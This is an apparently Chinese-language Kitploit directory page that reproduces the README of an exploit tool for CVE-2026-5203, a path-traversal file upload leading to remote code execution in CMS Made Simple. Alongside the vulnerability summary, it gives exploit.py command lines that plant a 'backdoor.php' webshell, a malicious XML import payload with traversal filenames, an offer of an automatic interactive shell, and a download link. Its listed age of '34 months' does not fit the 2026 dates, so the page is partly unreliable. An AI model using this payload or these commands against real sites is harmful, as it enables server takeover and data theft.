Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5203 — 针对CMS Made Simple中CVE-2026-5203的漏洞利用,利用路径遍历和任意文件上传实现远程代码执行,并提供交互式Shell。 | Kitploit
工具/GitHubGitHub/caginkyr/cve-2026-5203
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubcaginkyr/cve-2026-5203

CVE-2026-5203

针对CMS Made Simple中CVE-2026-5203的漏洞利用,利用路径遍历和任意文件上传实现远程代码执行,并提供交互式Shell。

查看仓库
34个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5203 — CMS Made Simple ≤ 2.2.22 RCE(路径遍历 + 任意文件上传)

CVSS Version Type

摘要

CMS Made Simple ≤ 2.2.22 中的 UserGuide 模块的 XML 导入功能未能清理用户提供的文件名,允许经过身份验证的管理员通过路径遍历序列将任意文件(例如 PHP Web Shell)上传到服务器文件系统的任何位置。

字段值
类型路径遍历 / 任意文件上传 → RCE
组件UserGuide 模块 — XML 导入
受影响文件modules/UserGuide/lib/class.UserGuideImporterExporter.php
CVSS v3.17.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
需要认证是(管理员)

漏洞代码

// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir    = (string) $xmlFile->isdir;   

该函数将 Base64 解码后的内容直接写入攻击者控制的路径。


使用方法

python exploit.py <base_url> <admin_url> <username> <password> [upload_path]

示例:

# 默认路径
python exploit.py http://target.com http://target.com/admin admin password123

# 自定义上传路径
python exploit.py http://target.com http://target.com/admin admin password123 \
  ../../../../../../var/www/html/backdoor.php

上传后若 Web Shell 可访问,则会自动启动交互式 Shell。


恶意 XML 结构

<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
  <module>UserGuide</module>
  <version>1.3</version>
  <files>
    <file>
      <filename>../../../webshell.php</filename>
      <isdir>0</isdir>
      <data>[BASE64_ENCODED_PHP_CODE]</data>
    </file>
  </files>
</modulecontent>
下载工具